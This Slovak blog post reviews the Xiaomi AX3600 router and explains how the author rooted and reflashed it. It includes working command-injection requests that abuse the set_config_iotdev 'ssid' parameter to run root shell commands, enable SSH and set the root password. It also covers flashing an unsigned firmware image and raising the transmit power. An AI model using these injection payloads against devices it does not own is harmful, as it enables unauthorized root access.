Používanie WiFi routra Xiaomi AX3600

13 minút

Dnešný článok bude obsahovať malú recenziu routra Xiaomi AX3600 (pst je to sračka, ale nikomu to nehovorte) a pár trikov, ktorými sa z neho môže stať celkom civilizované a použiteľné zariadenie na domácej sieti.

Po zme­ne in­ter­ne­to­vé­ho pro­vi­de­ra som po­tre­bo­val aj no­vý Wi­Fi rou­ter, keď­že sú­čas­ný bol len za­po­ži­ča­ný. Roz­ho­dol som sa pre Xia­omi AX3600. Na pr­vý po­hľad vy­ze­rá ako ob­rov­ský vý­kon­ný rou­ter. Je ob­rov­ský, má 7 na­sta­vi­teľ­ných an­tén na ma­sív­nej tro­j­u­hol­ní­ko­vej zá­klad­ni.

Na pa­pie­ri vy­ze­rá všet­ko v po­riad­ku. Po­há­ňa­ný je 4-ja­do­vým 64-bi­to­vým ARM CPU tak­to­va­ným na 1.4 GHz. Do­pl­ne­ný je 512 MB RAM a 256 MB flash. Rou­ter ne­má vy­ve­de­né USB na­priek to­mu, že chip­set prav­de­po­dob­ne ob­sa­hu­je USB 3.1 kon­ro­lér. Ško­da.

Rou­ter pod­po­ru­je štan­dard Wi­Fi 6 (ax) so šír­kou pás­ma 160 MHz. Ma­xi­mál­na rých­losť je 2402 Mbps. Z mi­lých fun­kcií by som eš­te spo­me­nul pod­po­ru mesh.

Xiaomi AX3600
Ob­rá­zok 1: Xia­omi AX3600

Nie všetko, čo sa blyští …

Vlast­ný rou­ter na­mies­to pre­na­ja­té­ho TP-Lin­ku som chcel kvô­li lep­šie­mu po­kry­tiu (nech­cem v kaž­dej miest­nos­ti kra­bič­ku, chcem jed­nú veľ­kú kra­bi­cu na ce­lý veľ­ký dom + záh­ra­du) a vyš­šej rých­los­ti. Aký je te­da AX3600? Jed­ným slo­vom „Na­hov­no!“.

Sig­nál je ka­ta­stro­fál­ne ma­lý a nie som je­di­ný, kto má ten­to prob­lém. Sa­moz­rej­me pred kú­pou som si pre­šiel re­cen­zie a ne­ku­po­val som mač­ku vo vre­ci. O prob­lé­moch so sig­ná­lom som ve­del a ve­del som aj o tom, že prob­lém je soft­vé­ro­vý.

Na stiahnutie

Než sa pus­tím do vy­svet­ľo­va­nia, ho­dím tu od­ka­zy na 2 firm­vé­ry:

Rozbalenie firmvéru

Na ex­trak­ciu firm­vé­ru sa dá po­u­žiť ná­stroj ubi­_re­a­der a squashfs-tools. Ob­ra­zy sa roz­ba­lia do ad­re­sá­rov international a china.

ubireader_extract_images -o international -w miwifi_r3600_all_6510e_3.0.22_INT.bin
ubireader_extract_images -o china -w miwifi_r3600_firmware_5da25_1.0.17.bin
unsquashfs -d international/root international/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs
unsquashfs -d china/root china/miwifi_r3600_firmware_5da25_1.0.17.bin/img-1696626347_vol-ubi_rootfs.ubifs

Sila signálu

Te­raz v ad­re­sá­ri s ex­tra­ho­va­ným me­dzi­ná­rod­ným firm­vé­rom mô­žem spus­tiť prí­kaz, kto­rý vy­hľa­dá na­sta­ve­nie vý­ko­ny Wi­Fi.

cd international/root
grep -rI "txpower" .

Vy­hľa­dá­va­nie náj­de sú­bor /lib/wifi/qcawificfg80211.sh. Dô­le­ži­tý kód je tu:

if [ "$bdmode" = "24G" ]; then
	max_power=30
	wifitool "$ifname" setUnitTestCmd 67 3 16 1 1
	iwpriv "$ifname" 11ngvhtintop 1
else
	max_power=30
fi
if [ "$bd_country_code" = "EU" ]; then
	if [ "$bdmode" = "24G" ]; then
		max_power=14
	else
		if [ "$channel" -ge 100 ]; then
			max_power=23
		else
			max_power=16
		fi
	fi
	if [ $ifname = "wl2" ]; then
		max_power=13
	fi
fi

Ak je kód do­sky "EU" (te­da európ­sky trh), po­tom je vý­kon 2.4 GHz li­mi­to­va­ný na 14 dBm. 5GHz je li­mi­to­va­ná na 16 dBm.

Mi­mo EU je te­da ma­xi­mál­ny vý­kon pre obe sie­te li­mi­to­va­ný na 30 dBm. Te­raz tro­cha ma­te­ma­ti­ky:

1030dBm / 10 = 1000mW

1014dBm / 10 = 25mW

1000mW / 25mW = 40 - ma­xi­mál­ny vý­kon je 1/40 ma­xi­mál­ne­ho vý­ko­nu v iných re­gi­ó­noch

Pre zau­jí­ma­vosť mi­ni­mál­ny vý­kon mi­mo EU je 27 dBm = 500 mW - stá­le 20-ná­sob­ne vyš­ší vý­kon než je ma­xi­mum pre vý­kon v EU. Mi­mo­cho­dom ak si nie­kto chce po­sťa­žo­vať na re­gu­lá­ciu v EU - nie, tak níz­ke li­mi­ty tu ne­má­me. Je to len a len zlá im­ple­men­tá­cia v Xia­omi.

Downgrade

Sla­bý sig­nál sa dá jed­no­du­cho vy­rie­šiť na­hra­ním sta­ré­ho čín­ske­ho firm­vé­ru. Sta­čí ho stiah­nuť, ísť do ad­mi­nis­trá­cie rout­ra vpra­vo ho­re cez uží­va­teľ­ské me­nu vy­brať "Sys­tem upda­te" a "Upda­te ma­nu­al­ly".

Downgrade
Ob­rá­zok 2: Do­wn­gra­de
Ob­rá­zok 3: 3 ste­ny me­dzi rout­rom a po­čí­ta­čom

Po „ak­tu­ali­zá­cii“ je ovlá­da­nie rout­ra v čín­šti­ne. Na­šťas­tie nie­kto­ré in­ter­ne­to­vé pre­hlia­da­če ma­jú vsta­va­ný pre­kla­dač, tak­že sta­čí po­vo­liť pre­klad a ro­z­hra­nie sa sta­ne hneď cel­kom po­u­ži­teľ­ným. Upo­zor­ňu­jem na to, že čín­sky fi­mr­vér ne­má vô­bec mož­nosť zme­niť ja­zyk.

Ďal­ším ne­prí­jem­ným prek­va­pe­ním je, že rou­ter od te­raz pod­po­ru­je len šír­ku pás­ma 80 MHz na­mies­to 160 MHz.

Mno­hí po­u­ží­va­te­lia toh­to rout­ra ho ne­chá­va­jú so sta­rým de­ra­vým čín­skym firv­mé­rom bez pod­po­ry 160 MHz pás­ma. Ja k nim ne­pat­rím, ale k to­mu sa do­sta­ne­me.

Exploit pre získanie root prístupu na SSH

Rou­ter má we­bo­vé ro­z­hra­nie na­pí­sa­né v Lue a je za­lo­že­né na pro­jek­te lu­ci z Open­Wrt.

Binárne lua súbory

Pre ďal­ší text to nie je dô­le­ži­té, ale ak­tu­ál­na ver­zia firm­vé­ru na­hra­di­la zdro­jo­vé kó­dy luci skom­pi­lo­va­ným by­te­kó­dom. Aby to­ho ne­bo­lo má­lo, po­u­ží­va­jú vlast­ný lua in­ter­pret, kto­rý má upra­ve­ný by­te­kód. Úp­ra­va spo­čí­va v pop­re­ha­dzo­vaí ope­rač­ných kó­dov, čo by sa da­lo na­zvať jed­no­du­chou sub­sti­tuč­nou šif­rou. Roz­biť sa dá jed­no­du­cho frek­venč­nou ana­lý­zou. Ok­rem to­ho re­ťaz­ce sú „šif­ro­va­né“ jed­no­baj­to­vým xo­rom gne­ne­ro­va­ným z dĺž­ka re­ťaz­ca po­mo­cou vzor­ca (l * 13 + 55) & 0xff. Bl­bé, pri­mi­tív­ne ale nech sa pá­či, je to ich vec.

Ke­by to nie­kto chcel roz­biť tak tu je jed­no­du­chý skript na kon­ver­ziu do for­má­tu Lu­aC. Ak by nie­kto z to­ho chcel do­stať zdro­já­ky, po­tom je dob­rým pro­jek­tom un­lu­ac_mi­wi­fi. Ak­tu­ál­ne v re­po­zi­tá­ri nie je ná­vod, ako to skom­pi­lo­vať tak pre is­to­tu tu pri­dá­vam prí­ka­zy pre kom­pi­lá­ciu unluac.jar:

find ./src/ -type f -name "*.java" -exec javac -cp ./src/ -d ./out/ '{}' +
cd out && jar cfe ../unluac.jar unluac.Main .

Získavame roota

We­bo­vé ro­z­hra­nie be­ží s prá­va­mi ro­ota. Po­sta­čí te­da nájsť zra­ni­teľ­nosť we­bo­vé­ho ro­z­hra­nia, kto­rá umož­ňu­je spus­tiť ľu­bo­voľ­ný kód.

Zdro­jo­vé kó­dy sta­ré­ho we­bo­vé­ho ro­z­hra­nia sú pek­ne v plain tex­te. Zau­jí­ma­vý je sú­bor /usr/lib64/lua/luci/controller/api/misystem.lua, kto­rý im­ple­men­tu­je Xia­omi API. V os­tat­ných sú­bo­roch, kto­ré sú pre­vza­té z Open­Wrt ne­oča­ká­vam chy­by.

function setConfigIotDev()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local LuciUtil = require("luci.util")
    local result = {
        ["code"] = 0
    }

    local ssid = LuciHttp.formvalue("ssid")
    local bssid = LuciHttp.formvalue("bssid")
    local uid = LuciHttp.formvalue("user_id")

    XQLog.log(debug_level, "ssid = "..ssid)
    XQLog.log(debug_level, "bssid = "..bssid)
    XQLog.log(debug_level, "uid = "..uid)
    if XQFunction.isStrNil(ssid)
        or XQFunction.isStrNil(bssid)
        or XQFunction.isStrNil(uid) then
        result.code = 1523
    end
    if result.code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(result.code)
    else
        XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)
    end
    LuciHttp.write_json(result)
end

A je­je, XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid) vo­lá pria­mo shell prí­kaz, pri­čom ne­do­chá­dza k žiad­nej va­li­dá­cii pa­ra­met­rov. Sta­čí nie­kde do pa­ra­met­ra pri­dať no­vý ria­dok (%0A) a kód sa vy­ko­ná pod ro­otom! Mi­mo­cho­dom ce­lý firm­vér od Xia­omi je de­ra­vý ako emen­tál.

Tak­že na zís­ka­nie ro­ota sa da­jú po­u­žiť tie­to prí­ka­zy, pri­čom hod­no­ta STOK je zís­ka­ná z URL ad­re­sy po pri­hlá­se­ní a PASSWORD je že­la­né hes­lo pre prí­stup do SSH:

# nvram set ssh_en=1
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20set%20ssh%5Fen%3D1%0A'
# nvram commit
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20commit%0A'
# cp /etc/init.d/dropbear /etc/init.d/dropbear_backup
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Acp%20%2Fetc%2Finit.d%2Fdropbear%20%2Fetc%2Finit.d%2Fdropbear_backup%0A'
# sed -i '/flg_ssh.*release/ { :a; N; /fi/! ba };/return 0/d' /etc/init.d/dropbear
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Ased%20-i%20'%2Fflg_ssh.*release%2F%20%7B%20%3Aa%3B%20N%3B%20%2Ffi%2F!%20ba%20%7D%3B%2Freturn%200%2Fd'%20%2Fetc%2Finit.d%2Fdropbear%0A'
# echo -e “<PASSWORD>/n<PASSWORD>” | passwd root
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27<PASSWORD>%5Cn<PASSWORD>%27%20%7C%20passwd%20root%0A'
# /etc/init.d/dropbear enable
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20enable%0A'
# /etc/init.d/dropbear start
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=doctor&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A

Po tých­to kro­koch je mož­né pri­hlá­siť sa ako ro­ot prí­ka­zom ssh root@192.168.31.1.

SSH
Ob­rá­zok 4: SSH

Upgrade

Na­stal čas na upg­ra­de. Naj­skôr je po­treb­né vy­tvo­riť si upra­ve­ný ob­raz me­dzi­ná­rod­né­ho firm­vé­ru ná­stro­jom xqre­pack.

ubireader_extract_images -w miwifi_r3600_all_6510e_3.0.22_INT.bin
cd xqrepack
# tento patch nefunguje s novým firmvérom, ale stačilo by upraviť lokácie a mal by fungovať
# ja som na to lenivý
patches/enable-iot-radio.patch
fakeroot -- ./repack-squashfs.sh ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs
./ubinize.sh \
  ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-kernel.ubifs \
  ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs.new

Vý­sled­kom je r3600-raw-img.bin (RAW ob­raz bez di­gi­tál­ne­ho pod­pi­su Xia­omi). Ten­to ob­raz sa ne­dá na­hrať do za­ria­de­nia po­mo­cou we­bo­vé­ho ro­z­hra­nia, ale cez SSH to je mož­né.

scp -O r3600-raw-img.bin root@192.168.31.1:/tmp/r3600-raw-img.bin

Ná­sled­nej je po­treb­né pri­hlá­siť sa cez shell a zis­tiť roz­de­le­nie par­tí­cií:

grep rootfs /proc/mtd
mtd12: 023c0000 00020000 "rootfs"
mtd13: 023c0000 00020000 "rootfs_1"
mtd17: 01857000 0001f000 "ubi_rootfs"

Exis­tu­jú 2 ko­re­ňo­vé par­tí­cie. Za­tiaľ čo jed­na sa po­u­ží­va, dru­hú je mož­né upg­ra­do­vať.

Prí­kaz nvram get flag_boot_rootfs zo­bra­zí čís­lo ak­tu­ál­ne po­u­ží­va­nej par­tí­cie. Čís­lo 0 zna­me­ná mtd12 a 1 mtd13. Keď je tam na­prí­klad 1, je mož­né za­pí­sať do 0, te­da /dev/mtd12. Na­sle­du­je flas­ho­va­nie:

ubiformat /dev/mtd12 -f /tmp/r3600-raw-img.bin -s 2048 -O 2048

a re­štart:

nvram set flag_ota_reboot=1
nvram commit
reboot

Po na­štar­to­va­ní má­me opäť me­dzi­ná­rod­ný firm­vér, ale s pl­ným prí­stu­pom ro­ota a s mož­nos­ťou na­sta­viť šír­ku pás­ma 160 MHz.

WiFi nastavenia
Ob­rá­zok 5: Wi­Fi na­sta­ve­nia
Použitie šírky pásma 160 MHz
Ob­rá­zok 6: Po­u­ži­tie šír­ky pás­ma 160 MHz

Nastavenie výkonu a zapnutie AIoT

Pre na­sta­ve­nie sta­čí za­pí­sať na­sle­du­jú­ci kód do /etc/rc.local:

sleep 60
iwconfig wl0 txpower 25
iwconfig wl1 txpower 25
ifconfig wl2 up

exit 0

Ma­xi­mál­ny vý­kon je cez 30 dBm. Pre­čo na­sta­vu­jem 25, čo je ne­ce­lá tre­ti­na vý­ko­nu?

Väč­ši­na po­u­ží­va­te­ľov au­to­ma­tic­ky bez roz­mýš­ľa­nia na­sta­ví ma­xi­mál­ny vý­kon. To však ve­die nie­ke­dy k nech­ce­ným si­tu­áciám. Je sí­ce fajn mať sil­ný sig­nál, ale tre­ba si uve­do­miť, že ko­mu­ni­ká­cia mu­sí byť oboj­stran­ná a keď no­te­bo­ok vi­dí dob­rý sig­nál, ne­zna­me­ná, že rou­ter za­chy­tí slab­ší sig­nál no­te­bo­oku.

Pri ma­xi­mál­nom mož­nom vý­ko­ne je prav­de­po­dob­né, že sa po­čí­tač bu­de sna­žiť s rout­rom ko­mu­ni­ko­vať na frek­ven­cii 5 GHz, kto­rá má pod­stat­ne men­ší do­sah. Vý­sled­kom je, že po­čí­tač zo­bra­zu­je dob­rú si­lu sig­ná­lu, ale odo­sie­la­nie dát fun­gu­je na ma­xi­mál­ne pár kB/s. Ke­by po­čí­tač pre­pol na 2.4 GHz, mo­hol by nor­má­le pra­co­vať ďa­lej, ale to sa ne­ude­je kvô­li prí­liš dob­ré­mu sig­ná­lu.

Pre­to na­sta­vu­jem si­lu sig­ná­lu pod­ľa ma­xi­mál­ne­ho vý­ko­nu wi­fi v mo­jom po­čí­ta­či (22 dBm = 158 mW). Ma­lá asy­met­ria je v po­riad­ku, spô­so­bí to, že sťa­ho­va­nie bu­de fun­go­vať o nie­čo rých­lej­šie než odo­sie­la­nie, ale prí­liš veľ­ký roz­diel (nad 3 dB) už mô­že spô­so­bo­vať prob­lé­my.

Test rýchlosti

V na­sle­du­jú­cich gra­foch sú tes­ty rých­los­ti a sig­ná­lu pri rôz­nej vzdia­le­nos­ti od Wi­Fi rout­ra.

Tes­ty bo­li vy­ko­na­né skrip­tom per­for­m_test.py. Gra­fy bo­li vy­ge­ne­ro­va­né skrip­tom ana­ly­ze.py. Su­ro­vé šta­tis­ti­ky sú do­stup­né v sú­bo­re by­_dis­tan­ce.tar.xz.

V miestnosti s routrom

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Ob­rá­zok 7: Šta­tis­ti­ky v miest­nos­ti s rout­rom

Vo vedľajšej miestnosti (1 stena medzi routrom)

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Ob­rá­zok 8: jed­na ste­na me­dzi rout­rom a po­čí­ta­čom

Ďaleko (3 steny)

V tom­to prí­pa­de už rých­losť vý­raz­ne ko­lí­še. Veľ­ký vplyv má oko­li­té ru­še­nie, ale aj to, či nie­kto stál v ces­te sig­ná­lu, ale­bo ne­chal ot­vo­re­né dve­re. V tom­to prí­pa­de som chcel de­mon­štro­vať prak­tic­ky naj­hor­šie pod­mien­ky v ce­lom do­me. Ok­rem to­ho eš­te zvyk­nem pra­co­vať na záh­ra­de, čo je sí­ce vý­ra­ze ďa­lej, ale bez pre­ká­žok ok­rem jed­nej ste­ny.

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Ob­rá­zok 9: tri ste­ny me­dzi rout­rom a po­čí­ta­čom
Finálne umiestnenie
Ob­rá­zok 10: Fi­nál­ne umiest­ne­nie

Inštalácia softvéru a spustenie ďalších služieb

Firm­vér je po­sta­ve­ný Open­Wrt 18.06. Ak by bol sú­bo­ro­vý sys­tém pri­po­je­ný na za­pi­so­va­nie, bo­la by in­šta­lá­cia no­vé­ho soft­vé­ru ve­cou je­di­né­ho prí­ka­zu - opkg install názov-balíka. Tu je však hlav­ný sú­bo­ro­vý sys­tém squashfs, kto­rý sa jed­no­du­cho na zá­pis ne­dá pri­po­jiť. V na­sle­du­jú­cej čas­ti skú­sim vy­svet­liť svo­ju mo­di­fi­ká­ciu, kto­rou som obi­šiel ob­me­dze­nia.

Čo to bude vedieť

Na svoj rou­ter som chcel pri­dať 2 no­vé služ­by. Pr­vou je iperf3 ser­ver, čo je ná­stroj na tes­to­va­nie rých­los­ti pri­po­je­nia.

Dru­há služ­ba je SSH tu­nel. Tu by som len v krát­kos­ti na­pí­sal, čo a pre­čo chcem pre­tu­ne­lo­vať. Mám do­ma rá­dio, kto­ré pre­hrá­va MP3 stre­am z in­ter­ne­tu. Je to oby­čaj­né ES­P32 s pár kB RAM a 3W di­gi­tál­nym zo­sil­ňo­va­čom. Ne­mys­lím tým len D-class zo­sil­ňo­vač, čo je prav­de­po­dob­ne sa­mo o se­be ana­ló­go­vé za­ria­de­nie, ale MA­X98357A, čo je zo­sil­ňo­vač s di­gi­tál­nym 32-bi­to­vým 96kHz vstu­pom. Sa­mot­ný zo­sil­ňo­vač je ma­lý in­teg­ro­va­ný ob­vod s ob­je­mom 0.87 mm3 (hra­na o veľ­kos­ti cca 1.4 mm).

Výmena wifiRá­dio

V ča­se sta­va­nia som ne­mal k dis­po­zí­cii ro­tač­ný en­kó­der, tak­že som na­pí­sal ovlá­da­nie hla­si­tos­ti len cez HTTP pro­to­kol (web­soc­ke­ty). Ovlá­dať to chcem cez mo­bil, ale nech­cel som pí­sať na­tív­nu ap­li­ká­ciu, tak­že som zvo­lil prog­re­sív­nu we­bo­vú ap­li­ká­ciu. Čo čert nech­cel, žia­den pre­hlia­dač ne­ak­cep­tu­je spo­je­nie z prog­re­sív­nej we­bo­vej ap­li­ká­cie cez čis­té HTTP. Vša­de mu­sí byť HTTPS, čo je prob­le­ma­tic­ké z dvoch dô­vo­dov: ES­P32 má ob­me­dze­ný vý­kon / ka­pa­ci­tu pa­mä­te a nie je mož­né zís­kať cer­ti­fi­kát na lo­kál­nu IP ad­re­su. Ovlá­da­nie pre­tu tu­ne­lu­jem po­mo­cou SSH na ex­ter­ný web­ser­ver, kto­rý má HTTPS a plat­ný cer­ti­fi­kát.

Bež­ná in­šta­lá­cia Open­Wrt po­u­ží­va ako SSH kli­en­ta drop­be­ar. Na vy­tvo­re­nie sta­bil­né­ho tu­ne­lu je však po­treb­ný pl­no­hod­not­ný OpenSSH kli­ent, tak­že sa bu­de mu­sieť na­in­šta­lo­vať.

Plán

Na za­čiat­ku som uká­zal ná­stroj vhod­ný na mo­di­fi­ká­ciu firm­vé­ru. Do­pl­niť soft­vér, zo­sta­viť no­vý firm­vér a naf­las­ho­vať do rout­ra nie je až ta­ký prob­lém, ale nech­cel by som to ro­biť pri kaž­dej zme­ne kon­fi­gu­rá­cie. Pre­to po­u­ži­jem nie­koľ­ko tri­kov, ako obísť sú­bo­ro­vý sys­tém pri­po­je­ný na čí­ta­nie.

Na za­čiat­ku som spo­me­nul, že ko­re­ňo­vý ad­re­sár je re­ad on­ly. Nie je to však je­di­ná par­tí­cia. Exis­tu­je tu par­tí­cia o veľ­kos­ti cca 20 MB pri­po­je­ná ako /userdisk:

ubi1_0                   20.8M      2.7M     17.1M  14% /userdisk

Zá­ro­veň na­sta­ve­nia v /etc sú pri­po­je­né na zá­pis (mi­mo­cho­dom na tej is­tej par­tí­cii, tak­že tých 20MB je zdie­ľa­ných). Ok­rem to­ho dis­po­nu­je rou­ter 512MB RAM, čo je do­sť na to, aby mo­hol ob­sa­ho­vať re­ad-wri­te fi­le­sys­tém v RAM.

Trik sa bu­de skla­dať z na­sle­du­jú­cich kro­kov vy­ko­na­ných pri kaž­dom štar­te:

Spustenie

Spus­te­nie všet­kých kro­kov som dal do /etc/rc.local. Jed­not­li­vé kro­ky sú ulo­že­né v /usrdisk s prí­zna­kom exe­cu­tab­le (chmod +x súbor). Sú to sú­bo­ry /userdisk/make_chroot.sh, /userdisk/install_packages.sh a /userdisk/start_chroot.sh.

Pr­vý prí­kaz vy­tvo­rí chro­ot a spúš­ťa sa pre­to pria­mo. Zvyš­né 2 prí­ka­zy by sa ma­li spus­tiť už z pro­stre­dia chro­otu. Ce­lý kód, kto­rý je po­treb­né pri­dať do rc.local vy­ze­rá tak­to:

/userdisk/make_chroot.sh
chroot /tmp/root/ /bin/ash -c "/userdisk/install_packages.sh"
chroot /tmp/root/ /bin/ash -c "/userdisk/start_chroot.sh"

Chroot

Skript make_chroot.sh pre vy­tvo­re­nie chro­otu ob­sa­hu­je všet­ky ne­vy­hnut­né prí­ka­zy, kto­ré vy­tvo­ria pro­stre­die s mož­nos­ťou za­pi­so­vať sú­bo­ry v tmpfs.

#!/bin/ash
cd /tmp
# vytvorenie nevyhnutných adresárov
mkdir root
mkdir upper
mkdir work
# skopírovanie súborov, ktoré prežijú reštart
cp -R /userdisk/chrootdata/* /tmp/upper/
# pripojenie hlavného súborového systému
mount -t overlay overlay  -o lowerdir=/,upperdir=upper,workdir=work root
# pripojenie /proc, /sys, /dev a /userdisk
mount -t proc none /tmp/root/proc/
mount -t sysfs none /tmp/root/sys/
mount --rbind /dev /tmp/root/dev/
mount --rbind /userdisk /tmp/root/userdisk/

Po spus­te­ní skrip­tu je mož­né pre­pnúť sa do no­vé­ho pro­stre­dia prí­ka­zom chroot /tmp/root. Tu už ba­líč­ko­va­cí sys­tém bu­de fun­go­vať. Pre­sved­čiť sa môž­me na­prí­klad prí­ka­zom opkg update, ale pred­tým je po­treb­né vy­tvo­riť ad­re­sár, v kto­rom opkg vy­tvá­ra zá­mok.

# mkdir -p /var/lock
# opkg update
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_base
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_packages
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_routing
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.sig
Signature check passed.
# opkg install htop
# htop
htop
Ob­rá­zok 11: htop

Inštalácia balíkov

Ba­lí­ky je mož­né in­šta­lo­vať z in­ter­ne­tu, čo mô­že byť nie­ke­dy ne­spo­ľah­li­vé (na­prí­klad keď rou­ter na­štar­tu­je po­čas vý­pad­ku ser­ve­ra, ale­bo po­čas vý­pad­ku pro­vi­de­ra, ale­bo pro­vi­de­rom do­dá­va­ný hard­vér bo­otu­je po­mal­šie). Pre­to som sa roz­ho­dol ulo­žiť do­da­toč­né ba­lí­ky do ad­re­sá­ra /userdisk/ipk.

Zo­znam ba­lí­kov je mož­né nájsť na mir­ro­roch Open­Wrt v ad­re­sá­ri pac­ka­ges, ale­bo ba­se. Ja po­u­ží­vam kon­krét­ne tie­to ba­lí­ky:

# ls -lh /userdisk/ipk/
-rw-r--r--    1 root     root       50.1K Nov  5 22:25 iperf3_3.11-1_aarch64_cortex-a53.ipk
-rw-r--r--    1 root     root      299.5K Oct 30 16:35 openssh-client_7.7p1-2_aarch64_cortex-a53.ipk

Sa­mot­ný skript pre in­šta­lá­ciu /userdisk/install_packages.sh na­in­šta­lu­je všet­ky ba­lí­ky v ad­re­sá­ri. Na tom­to hard­vé­ri to tr­vá rá­do­vo de­sa­ti­ny se­kun­dy.

#!/bin/ash
mkdir -p /var/lock
cd /userdisk/ipk/
for file in *.ipk
do
	opkg install $file
done

Štart dodatočných služieb

Na­ko­niec sa spus­tí sú­bor /userdisk/start_chroot.sh. Tu sa spúš­ťa­jú služ­by. Ako som na za­čiat­ku pí­sal, je tam vy­tvo­re­nie SSH tu­ne­lu kvô­li rá­diu po­sta­ve­né­mu na ES­P32 a spus­te­nie iperf3 ser­ve­ra.

#!/bin/ash
esp_radio_forward &
iperf3 -s -D

Prob­lém je, že skript esp_radio_forward ne­exis­tu­je.

Dodatočné súbory

Sú­bo­ry, kto­ré sa sko­pí­ru­jú au­to­ma­tic­ky pri vy­tvá­ra­ní chro­otu som umiest­nil do /userdisk/chrootdata. Tu som te­da umiest­nil skript, kto­rý sa sta­rá o spus­te­nie tu­ne­la a re­štart ak z ne­ja­ké­ho dô­vo­du spad­ne spo­je­nie. Vý­sled­ný sú­bor /userdisk/chrootdata/usr/bin/esp_radio_forward vy­ze­rá tak­to:

#!/bin/ash

while true
do
	ssh -N -R <vzdialený port>:<ip rádia>:80 -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes <používateľ>@<server>
	sleep 1
done

Ok­rem to­ho je po­treb­né eš­te vy­tvo­riť /userdisk/chrootdata/root/.ssh/known_hosts so po­vo­le­ným od­tlač­kom vzdia­le­né­ho ser­ve­ra a kľú­če /userdisk/chrootdata/root/.ssh/id_rsa a /userdisk/chrootdata/root/.ssh/id_rsa.pub pre mož­nosť pri­po­je­nia na ser­ver po­mo­cou SSH kľú­ča bez nut­nos­ti za­dá­vať hes­lo.

Záver

Po pár úp­ra­vách som z hroz­né­ho rout­ra kú­pe­né­ho za smieš­nu ce­nu uro­bil cel­kom po­u­ži­teľ­né za­ria­de­nie. Fun­gu­je fajn aj ako Wi­Fi rou­ter, aj ako ma­lý jed­no­du­chý pro­xy ser­ver.

Rých­losť pri­po­je­nia vo ved­ľaj­šej miest­nos­ti je po­rov­na­teľ­ná s gi­ga­bi­to­vým et­her­ne­tom. Do­sť dob­rý vý­sle­dok ak be­riem do úva­hy, že sa ne­mu­sím trá­piť s káb­lom.

V miest­no­ti s rout­rom rých­losť mier­ne pre­va­žu­je gi­ga­bit aj keď te­ore­tic­ky by to moh­lo ísť až na 2.4 Gbit/s. Nie som si is­tý, či je v tom­to prí­pa­de brz­dou CPU, ale­bo zlý firm­vér Wi­Fi kar­ty, ale­bo nie­čo úpl­ne iné.

Pri tes­toch bež­ne do­chá­dza­lo k za­mŕ­za­niu spo­je­nia, čo som mu­sel rie­šiť v skrip­te pre tes­to­va­nie. Sa­mot­ný test iperf3 pre­beh­ne sí­ce v po­riad­ku, ale okam­ži­te po tes­te pre­sta­ne Wi­Fi kar­ta na nie­koľ­ko de­sia­tok se­kúnd re­a­go­vať. Naj­skôr som z prob­lé­mu po­doz­rie­val rou­ter, ale po pre­hľa­da­ní fór som na­šiel, že ide o zná­my prob­lém s kar­ta­mi In­tel.